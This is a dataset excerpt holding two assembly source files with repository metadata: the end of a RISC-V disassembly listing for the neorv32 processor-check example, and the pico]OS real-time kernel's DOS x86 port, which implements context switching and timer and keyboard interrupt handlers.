33a4: a9050513 addi a0,a0,-1392 # 4a90 <symbols.0+0x84c>
33a8: b0dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
33ac: 20000537 lui a0,0x20000
33b0: 00a47533 and a0,s0,a0
33b4: f68ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
33b8: 02812403 lw s0,40(sp)
33bc: 02c12083 lw ra,44(sp)
33c0: 02412483 lw s1,36(sp)
33c4: 02012903 lw s2,32(sp)
33c8: 01c12983 lw s3,28(sp)
33cc: 00005537 lui a0,0x5
33d0: a9850513 addi a0,a0,-1384 # 4a98 <symbols.0+0x854>
33d4: 03010113 addi sp,sp,48
33d8: addfe06f j 1eb4 <neorv32_uart0_printf>
33dc: 00004537 lui a0,0x4
33e0: 78c50513 addi a0,a0,1932 # 478c <symbols.0+0x548>
33e4: bb9ff06f j 2f9c <neorv32_rte_print_hw_config+0xfc>
33e8: 00005537 lui a0,0x5
33ec: 85050513 addi a0,a0,-1968 # 4850 <symbols.0+0x60c>
33f0: ac5fe0ef jal ra,1eb4 <neorv32_uart0_printf>
33f4: cedff06f j 30e0 <neorv32_rte_print_hw_config+0x240>
33f8: ff002583 lw a1,-16(zero) # fffffff0 <__ctr0_io_space_begin+0x1f0>
33fc: 00005537 lui a0,0x5
3400: 8b050513 addi a0,a0,-1872 # 48b0 <symbols.0+0x66c>
3404: ab1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3408: d09ff06f j 3110 <neorv32_rte_print_hw_config+0x270>
340c: 00004537 lui a0,0x4
3410: 47850513 addi a0,a0,1144 # 4478 <symbols.0+0x234>
3414: aa1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3418: d31ff06f j 3148 <neorv32_rte_print_hw_config+0x2a8>
341c: 00004537 lui a0,0x4
3420: 47850513 addi a0,a0,1144 # 4478 <symbols.0+0x234>
3424: a91fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3428: d59ff06f j 3180 <neorv32_rte_print_hw_config+0x2e0>
342c: fec02783 lw a5,-20(zero) # ffffffec <__ctr0_io_space_begin+0x1ec>
3430: 00c7d793 srli a5,a5,0xc
3434: 00f7f793 andi a5,a5,15
3438: 00979863 bne a5,s1,3448 <neorv32_rte_print_hw_config+0x5a8>
343c: 00005537 lui a0,0x5
3440: 9b450513 addi a0,a0,-1612 # 49b4 <symbols.0+0x770>
3444: de1ff06f j 3224 <neorv32_rte_print_hw_config+0x384>
3448: 00004537 lui a0,0x4
344c: 1dc50513 addi a0,a0,476 # 41dc <__etext+0x934>
3450: dd5ff06f j 3224 <neorv32_rte_print_hw_config+0x384>
3454: 00004537 lui a0,0x4
3458: 47850513 addi a0,a0,1144 # 4478 <symbols.0+0x234>
345c: dc9ff06f j 3224 <neorv32_rte_print_hw_config+0x384>
3460: 00005537 lui a0,0x5
3464: a0850513 addi a0,a0,-1528 # 4a08 <symbols.0+0x7c4>
3468: df9ff06f j 3260 <neorv32_rte_print_hw_config+0x3c0>
346c: 02c12083 lw ra,44(sp)
3470: 02812403 lw s0,40(sp)
3474: 02412483 lw s1,36(sp)
3478: 02012903 lw s2,32(sp)
347c: 01c12983 lw s3,28(sp)
3480: 03010113 addi sp,sp,48
3484: 00008067 ret
00003488 <neorv32_rte_print_credits>:
3488: ff010113 addi sp,sp,-16
348c: 00112623 sw ra,12(sp)
3490: 8ddfe0ef jal ra,1d6c <neorv32_uart0_available>
3494: 00050c63 beqz a0,34ac <neorv32_rte_print_credits+0x24>
3498: 00c12083 lw ra,12(sp)
349c: 00005537 lui a0,0x5
34a0: aa050513 addi a0,a0,-1376 # 4aa0 <symbols.0+0x85c>
34a4: 01010113 addi sp,sp,16
34a8: 9b5fe06f j 1e5c <neorv32_uart0_print>
34ac: 00c12083 lw ra,12(sp)
34b0: 01010113 addi sp,sp,16
34b4: 00008067 ret
000034b8 <neorv32_rte_print_logo>:
34b8: f2010113 addi sp,sp,-224
34bc: 000055b7 lui a1,0x5
34c0: 0b000613 li a2,176
34c4: b9c58593 addi a1,a1,-1124 # 4b9c <symbols.0+0x958>
34c8: 00010513 mv a0,sp
34cc: 0c112e23 sw ra,220(sp)
34d0: 0c812c23 sw s0,216(sp)
34d4: 0c912a23 sw s1,212(sp)
34d8: 0d212823 sw s2,208(sp)
34dc: 0d312623 sw s3,204(sp)
34e0: 0d412423 sw s4,200(sp)
34e4: 0d512223 sw s5,196(sp)
34e8: 0d612023 sw s6,192(sp)
34ec: 0b712e23 sw s7,188(sp)
34f0: 290000ef jal ra,3780 <memcpy>
34f4: 879fe0ef jal ra,1d6c <neorv32_uart0_available>
34f8: 08050863 beqz a0,3588 <neorv32_rte_print_logo+0xd0>
34fc: 00004ab7 lui s5,0x4
3500: 00010413 mv s0,sp
3504: 000a8b13 mv s6,s5
3508: 00400b93 li s7,4
350c: 1dca8513 addi a0,s5,476 # 41dc <__etext+0x934>
3510: 94dfe0ef jal ra,1e5c <neorv32_uart0_print>
3514: 00040913 mv s2,s0
3518: 00000493 li s1,0
351c: 00092a03 lw s4,0(s2)
3520: 02000993 li s3,32
3524: 02300513 li a0,35
3528: 000a4463 bltz s4,3530 <neorv32_rte_print_logo+0x78>
352c: 02000513 li a0,32
3530: fff98993 addi s3,s3,-1
3534: 8f5fe0ef jal ra,1e28 <neorv32_uart0_putc>
3538: 001a1a13 slli s4,s4,0x1
353c: fe0994e3 bnez s3,3524 <neorv32_rte_print_logo+0x6c>
3540: 00148493 addi s1,s1,1
3544: 00490913 addi s2,s2,4
3548: fd749ae3 bne s1,s7,351c <neorv32_rte_print_logo+0x64>
354c: 01040413 addi s0,s0,16
3550: 0b010793 addi a5,sp,176
3554: fa879ce3 bne a5,s0,350c <neorv32_rte_print_logo+0x54>
3558: 0d812403 lw s0,216(sp)
355c: 0dc12083 lw ra,220(sp)
3560: 0d412483 lw s1,212(sp)
3564: 0d012903 lw s2,208(sp)
3568: 0cc12983 lw s3,204(sp)
356c: 0c812a03 lw s4,200(sp)
3570: 0c412a83 lw s5,196(sp)
3574: 0bc12b83 lw s7,188(sp)
3578: 1dcb0513 addi a0,s6,476
357c: 0c012b03 lw s6,192(sp)
3580: 0e010113 addi sp,sp,224
3584: 8d9fe06f j 1e5c <neorv32_uart0_print>
3588: 0dc12083 lw ra,220(sp)
358c: 0d812403 lw s0,216(sp)
3590: 0d412483 lw s1,212(sp)
3594: 0d012903 lw s2,208(sp)
3598: 0cc12983 lw s3,204(sp)
359c: 0c812a03 lw s4,200(sp)
35a0: 0c412a83 lw s5,196(sp)
35a4: 0c012b03 lw s6,192(sp)
35a8: 0bc12b83 lw s7,188(sp)
35ac: 0e010113 addi sp,sp,224
35b0: 00008067 ret
000035b4 <neorv32_rte_check_isa>:
35b4: 30102673 csrr a2,misa
35b8: 400007b7 lui a5,0x40000
35bc: 10078793 addi a5,a5,256 # 40000100 <__crt0_copy_data_src_begin+0x3fffb4a4>
35c0: 00f67733 and a4,a2,a5
35c4: 04f70463 beq a4,a5,360c <neorv32_rte_check_isa+0x58>
35c8: fe010113 addi sp,sp,-32
35cc: 00112e23 sw ra,28(sp)
35d0: 02051463 bnez a0,35f8 <neorv32_rte_check_isa+0x44>
35d4: 400005b7 lui a1,0x40000
35d8: 00005537 lui a0,0x5
35dc: 10058593 addi a1,a1,256 # 40000100 <__crt0_copy_data_src_begin+0x3fffb4a4>
35e0: b1450513 addi a0,a0,-1260 # 4b14 <symbols.0+0x8d0>
35e4: 8d1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
35e8: 01c12083 lw ra,28(sp)
35ec: 00100513 li a0,1
35f0: 02010113 addi sp,sp,32
35f4: 00008067 ret
35f8: 00c12623 sw a2,12(sp)
35fc: f70fe0ef jal ra,1d6c <neorv32_uart0_available>
3600: 00c12603 lw a2,12(sp)
3604: fc0508e3 beqz a0,35d4 <neorv32_rte_check_isa+0x20>
3608: fe1ff06f j 35e8 <neorv32_rte_check_isa+0x34>
360c: 00000513 li a0,0
3610: 00008067 ret
00003614 <neorv32_spi_available>:
3614: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3618: 01355513 srli a0,a0,0x13
361c: 00157513 andi a0,a0,1
3620: 00008067 ret
00003624 <neorv32_spi_setup>:
3624: 00757513 andi a0,a0,7
3628: 0036f793 andi a5,a3,3
362c: 00167613 andi a2,a2,1
3630: 00a51513 slli a0,a0,0xa
3634: 00d79793 slli a5,a5,0xd
3638: 0015f593 andi a1,a1,1
363c: 00f567b3 or a5,a0,a5
3640: 00f61613 slli a2,a2,0xf
3644: 00c7e7b3 or a5,a5,a2
3648: 00959593 slli a1,a1,0x9
364c: fa800713 li a4,-88
3650: 00b7e7b3 or a5,a5,a1
3654: 00072023 sw zero,0(a4)
3658: 1007e793 ori a5,a5,256
365c: 00f72023 sw a5,0(a4)
3660: 00008067 ret
00003664 <neorv32_spi_disable>:
3664: fa800713 li a4,-88
3668: 00072783 lw a5,0(a4)
366c: eff7f793 andi a5,a5,-257
3670: 00f72023 sw a5,0(a4)
3674: 00008067 ret
00003678 <neorv32_spi_trans>:
3678: faa02623 sw a0,-84(zero) # ffffffac <__ctr0_io_space_begin+0x1ac>
367c: fa802783 lw a5,-88(zero) # ffffffa8 <__ctr0_io_space_begin+0x1a8>
3680: fe07cee3 bltz a5,367c <neorv32_spi_trans+0x4>
3684: fac02503 lw a0,-84(zero) # ffffffac <__ctr0_io_space_begin+0x1ac>
3688: 00008067 ret
0000368c <neorv32_spi_busy>:
368c: fa802503 lw a0,-88(zero) # ffffffa8 <__ctr0_io_space_begin+0x1a8>
3690: 01f55513 srli a0,a0,0x1f
3694: 00008067 ret
00003698 <neorv32_gpio_port_set>:
3698: fc000793 li a5,-64
369c: 00a7a423 sw a0,8(a5)
36a0: 00b7a623 sw a1,12(a5)
36a4: 00008067 ret
000036a8 <__mulsi3>:
36a8: 00050613 mv a2,a0
36ac: 00000513 li a0,0
36b0: 0015f693 andi a3,a1,1
36b4: 00068463 beqz a3,36bc <__mulsi3+0x14>
36b8: 00c50533 add a0,a0,a2
36bc: 0015d593 srli a1,a1,0x1
36c0: 00161613 slli a2,a2,0x1
36c4: fe0596e3 bnez a1,36b0 <__mulsi3+0x8>
36c8: 00008067 ret
000036cc <__divsi3>:
36cc: 06054063 bltz a0,372c <__umodsi3+0x10>
36d0: 0605c663 bltz a1,373c <__umodsi3+0x20>
000036d4 <__udivsi3>:
36d4: 00058613 mv a2,a1
36d8: 00050593 mv a1,a0
36dc: fff00513 li a0,-1
36e0: 02060c63 beqz a2,3718 <__udivsi3+0x44>
36e4: 00100693 li a3,1
36e8: 00b67a63 bgeu a2,a1,36fc <__udivsi3+0x28>
36ec: 00c05863 blez a2,36fc <__udivsi3+0x28>
36f0: 00161613 slli a2,a2,0x1
36f4: 00169693 slli a3,a3,0x1
36f8: feb66ae3 bltu a2,a1,36ec <__udivsi3+0x18>
36fc: 00000513 li a0,0
3700: 00c5e663 bltu a1,a2,370c <__udivsi3+0x38>
3704: 40c585b3 sub a1,a1,a2
3708: 00d56533 or a0,a0,a3
370c: 0016d693 srli a3,a3,0x1
3710: 00165613 srli a2,a2,0x1
3714: fe0696e3 bnez a3,3700 <__udivsi3+0x2c>
3718: 00008067 ret
0000371c <__umodsi3>:
371c: 00008293 mv t0,ra
3720: fb5ff0ef jal ra,36d4 <__udivsi3>
3724: 00058513 mv a0,a1
3728: 00028067 jr t0
372c: 40a00533 neg a0,a0
3730: 00b04863 bgtz a1,3740 <__umodsi3+0x24>
3734: 40b005b3 neg a1,a1
3738: f9dff06f j 36d4 <__udivsi3>
373c: 40b005b3 neg a1,a1
3740: 00008293 mv t0,ra
3744: f91ff0ef jal ra,36d4 <__udivsi3>
3748: 40a00533 neg a0,a0
374c: 00028067 jr t0
00003750 <__modsi3>:
3750: 00008293 mv t0,ra
3754: 0005ca63 bltz a1,3768 <__modsi3+0x18>
3758: 00054c63 bltz a0,3770 <__modsi3+0x20>
375c: f79ff0ef jal ra,36d4 <__udivsi3>
3760: 00058513 mv a0,a1
3764: 00028067 jr t0
3768: 40b005b3 neg a1,a1
376c: fe0558e3 bgez a0,375c <__modsi3+0xc>
3770: 40a00533 neg a0,a0
3774: f61ff0ef jal ra,36d4 <__udivsi3>
3778: 40b00533 neg a0,a1
377c: 00028067 jr t0
00003780 <memcpy>:
3780: 00a5c7b3 xor a5,a1,a0
3784: 0037f793 andi a5,a5,3
3788: 00c508b3 add a7,a0,a2
378c: 06079663 bnez a5,37f8 <memcpy+0x78>
3790: 00300793 li a5,3
3794: 06c7f263 bgeu a5,a2,37f8 <memcpy+0x78>
3798: 00357793 andi a5,a0,3
379c: 00050713 mv a4,a0
37a0: 0c079a63 bnez a5,3874 <memcpy+0xf4>
37a4: ffc8f613 andi a2,a7,-4
37a8: 40e606b3 sub a3,a2,a4
37ac: 02000793 li a5,32
37b0: 02000293 li t0,32
37b4: 06d7c263 blt a5,a3,3818 <memcpy+0x98>
37b8: 00058693 mv a3,a1
37bc: 00070793 mv a5,a4
37c0: 02c77863 bgeu a4,a2,37f0 <memcpy+0x70>
37c4: 0006a803 lw a6,0(a3)
37c8: 00478793 addi a5,a5,4
37cc: 00468693 addi a3,a3,4
37d0: ff07ae23 sw a6,-4(a5)
37d4: fec7e8e3 bltu a5,a2,37c4 <memcpy+0x44>
37d8: fff60793 addi a5,a2,-1
37dc: 40e787b3 sub a5,a5,a4
37e0: ffc7f793 andi a5,a5,-4
37e4: 00478793 addi a5,a5,4
37e8: 00f70733 add a4,a4,a5
37ec: 00f585b3 add a1,a1,a5
37f0: 01176863 bltu a4,a7,3800 <memcpy+0x80>
37f4: 00008067 ret
37f8: 00050713 mv a4,a0
37fc: ff157ce3 bgeu a0,a7,37f4 <memcpy+0x74>
3800: 0005c783 lbu a5,0(a1)
3804: 00170713 addi a4,a4,1
3808: 00158593 addi a1,a1,1
380c: fef70fa3 sb a5,-1(a4)
3810: ff1768e3 bltu a4,a7,3800 <memcpy+0x80>
3814: 00008067 ret
3818: 0045a683 lw a3,4(a1)
381c: 01c5a783 lw a5,28(a1)
3820: 0005af83 lw t6,0(a1)
3824: 0085af03 lw t5,8(a1)
3828: 00c5ae83 lw t4,12(a1)
382c: 0105ae03 lw t3,16(a1)
3830: 0145a303 lw t1,20(a1)
3834: 0185a803 lw a6,24(a1)
3838: 00d72223 sw a3,4(a4)
383c: 0205a683 lw a3,32(a1)
3840: 01f72023 sw t6,0(a4)
3844: 01e72423 sw t5,8(a4)
3848: 01d72623 sw t4,12(a4)
384c: 01c72823 sw t3,16(a4)
3850: 00672a23 sw t1,20(a4)
3854: 01072c23 sw a6,24(a4)
3858: 00f72e23 sw a5,28(a4)
385c: 02470713 addi a4,a4,36
3860: 40e607b3 sub a5,a2,a4
3864: fed72e23 sw a3,-4(a4)
3868: 02458593 addi a1,a1,36
386c: faf2c6e3 blt t0,a5,3818 <memcpy+0x98>
3870: f49ff06f j 37b8 <memcpy+0x38>
3874: 0005c683 lbu a3,0(a1)
3878: 00170713 addi a4,a4,1
387c: 00377793 andi a5,a4,3
3880: fed70fa3 sb a3,-1(a4)
3884: 00158593 addi a1,a1,1
3888: f0078ee3 beqz a5,37a4 <memcpy+0x24>
388c: 0005c683 lbu a3,0(a1)
3890: 00170713 addi a4,a4,1
3894: 00377793 andi a5,a4,3
3898: fed70fa3 sb a3,-1(a4)
389c: 00158593 addi a1,a1,1
38a0: fc079ae3 bnez a5,3874 <memcpy+0xf4>
38a4: f01ff06f j 37a4 <memcpy+0x24>
| 48.766007 | 94 | 0.559701 | [
"BSD-3-Clause"
] | matejpolj/neorv32 | sw/example/processor_check/main.asm | 187,359 | Assembly |
;*
;* Copyright (c) 2004-2012, Dennis Kuschel.
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* 1. Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;* 2. Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in the
;* documentation and/or other materials provided with the distribution.
;* 3. The name of the author may not be used to endorse or promote
;* products derived from this software without specific prior written
;* permission.
;*
;* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
;* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
;* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
;* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
;* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
;* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
;* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
;* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
;* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
;* OF THE POSSIBILITY OF SUCH DAMAGE.
;
; This file is originally from the pico]OS realtime operating system
; (http://picoos.sourceforge.net).
;
; CVS-ID $Id: arch_a.asm,v 1.2 2004/03/21 18:30:57 dkuschel Exp $
;
;-----------------------------------------------------------------------------
; NOTE: THIS FILE IS FOR THE BORLAND ASSEMBLER (BC 3.1)
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
; EXPORTS
;functions
PUBLIC _p_pos_startFirstContext
PUBLIC __pos_softCtxSw
PUBLIC _p_pos_intContextSwitch
PUBLIC __timerIrq
IFDEF POSNANO
PUBLIC __keyboardIrq
PUBLIC _p_putchar
ENDIF
;-----------------------------------------------------------------------------
; IMPORTS
;functions
EXTRN _c_pos_intEnter:FAR
EXTRN _c_pos_intExit:FAR
EXTRN _c_pos_timerInterrupt:FAR
EXTRN _p_installInterrupts:FAR
IFDEF POSNANO
EXTRN _posSoftInt:FAR
ENDIF
;variables
EXTRN _posCurrentTask_g:DWORD
EXTRN _posNextTask_g:DWORD
EXTRN _posInInterrupt_g:BYTE
;-----------------------------------------------------------------------------
; OUTPUT FORMAT DEFINITION
.286
.MODEL LARGE
.CODE
;-----------------------------------------------------------------------------
; START FIRST TASK (start the multitasking)
;
; void p_pos_startFirstContext(void);
;
; Before calling this function,
; the following stack frame must have been set up:
;
; posCurrentTask_g->stackptr-> (from low to high memory)
; ES | DS | DI | SI | BP | SP | BX | DX | CX | AX |
; OFS (first task function address) | SEG (first task function address) |
; processor flags |
; OFS (posTaskExit function address) | SEG (posTaskExit function address) |
; OFS (argument pointer void *arg) | SEG (argument pointer void *arg)
;
; This function initializes the timer interrupt and
; does then a "return from interrupt" that restores all registers.
;-----------------------------------------------------------------------------
_p_pos_startFirstContext:
CALL FAR PTR _p_installInterrupts ;initialize timer interrupt
JMP SHORT __pos_startFirstContext
;-----------------------------------------------------------------------------
; CONTEXT SWITCH FROM TASK LEVEL AND INTERRUPT LEVEL
;
; void p_pos_softCtxSw(void);
; void p_pos_intCtxSw(void);
; void p_pos_startFirstContext(void);
;
; Note:
; The function p_pos_softCtxSw is implemented in the C-file
; and is responsible for calling _pos_softCtxSw.
; (This is done by a DOS sofware interrupt.)
;
; This code is an example of how to combine the three functions
; p_pos_startFirstContext, pos_softCtxSw and pos_intCtxSw.
; Please see the pico]OS manual for details on porting the RTOS.
;-----------------------------------------------------------------------------
__pos_softCtxSw: ;start of func. p_pos_softCtxSw
PUSHA ;save context of current task
PUSH DS
PUSH ES
MOV AX, SEG _posCurrentTask_g ;set d.seg to posCurrentTask_g
MOV DS, AX
LES BX, DWORD PTR DS:_posCurrentTask_g
MOV ES: [BX], SP ;posCurrentTask_g->stackptr = stk
MOV ES: [BX+2], SS
_p_pos_intContextSwitch: ;start of p_pos_intContextSwitch
MOV AX, SEG _posNextTask_g ;set d.seg to posNextTask_g
MOV DS, AX
MOV CX, WORD PTR DS:_posNextTask_g ;load posNextTask_g to CX/DX
MOV DX, WORD PTR DS:_posNextTask_g+2
MOV AX, SEG _posCurrentTask_g ;set d.seg to posCurrentTask_g
MOV DS, AX
MOV WORD PTR DS:_posCurrentTask_g ,CX ;store CX/DX to posCurrentTask_g
MOV WORD PTR DS:_posCurrentTask_g+2,DX
__pos_startFirstContext: ;start of p_pos_startFirstContext
MOV AX, SEG _posCurrentTask_g ;set d.seg to posCurrentTask_g
MOV DS, AX
LES BX, DWORD PTR DS:_posCurrentTask_g
MOV SP, ES: [BX] ;stk = posCurrentTask_g->stackptr
MOV SS, ES: [BX+2]
POP ES ;restore context of new task
POP DS
POPA
IRET
;-----------------------------------------------------------------------------
; TIMER INTERRUPT
;
; The DOS timer interrupt is called with 18.2 Hz.
; This interrupt is used to generate the pico]OS time slices.
;
; This function does the following:
; a) save task context to stack
; b) if (posInInterrupt_g == 0), save stack ptr to current task environment
; c) call to c_pos_intEnter()
; d) call to c_pos_timerInterrupt()
; e) call DOS timer interrupt handler
; f) call to c_pos_intExit()
;-----------------------------------------------------------------------------
__timerIrq:
PUSHA ;save current task context
PUSH DS
PUSH ES
MOV AX, SEG _posInInterrupt_g ;set data seg to posInInterrupt_g
MOV DS, AX
CMP BYTE PTR DS:_posInInterrupt_g, 0 ;if (posInInterrupt_g == 0)
JNE SHORT _intRun ;{
MOV AX, SEG _posCurrentTask_g ; set d.seg to posCurrentTask_g
MOV DS, AX ;
LES BX, DWORD PTR DS:_posCurrentTask_g ; posCurrentTask_g->stackptr=stk
MOV ES: [BX], SP ;
MOV ES: [BX+2], SS ;}
_intRun:
CALL _c_pos_intEnter ;enter pico]OS interrupt level
CALL _c_pos_timerInterrupt ;call timer interrupt
INT 081h ;call DOS's tick ISR
CALL FAR PTR _c_pos_intExit ;leave pico]OS interrupt level
POP ES ;back from interrupt (old task)
POP DS
POPA
IRET
IFDEF POSNANO
;-----------------------------------------------------------------------------
; FUNCTIONS NEEDED BY THE NANO LAYER
;-----------------------------------------------------------------------------
; KEYBOARD INTERRUPT - nano layer option
;
; This system interrupt (INT 09h) is executed every time a key is pressed.
; The key code is read from the DOS keyboard buffer and
; is then fed into the nano layer via the software interrupt 0.
;-----------------------------------------------------------------------------
__keyboardIrq:
PUSHA ;save registers
PUSH DS
PUSH ES
INT 82h ;call original INT 09
MOV AH, 0Bh ;call DOS, test if key pressed
INT 21h
CMP AL, 0FFh
JNE _nokey
MOV AH, 07h ;call DOS, get key code
INT 21h
MOV AH, 0 ;prepare to execute sw-int 0
PUSH AX
PUSH 0
MOV AX, SEG _posCurrentTask_g ;set DS to our data segment
MOV DS, AX
CALL _posSoftInt ;call software interrupt
ADD SP, 4
_nokey:
POP ES ;restore registers
POP DS
POPA
IRET ;back from interrupt
;-----------------------------------------------------------------------------
; PRINT CHARACTER - nano layer option
;
; The nano layer calls this function to print a character to the screen.
;-----------------------------------------------------------------------------
_p_putchar:
PUSH BP
MOV BP,SP
MOV AL,[BP+06] ;get parameter: char
MOV AH,14
MOV BL,15
INT 10h ;print character to screen
POP BP
MOV AL,1 ;return 1 (=TRUE)
RETF
ENDIF
;End Of File
END
| 36.434783 | 78 | 0.551204 | [
"BSD-3-Clause"
] | picoos/legacy | ports/x86dos/arch_a.asm | 9,218 | Assembly |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.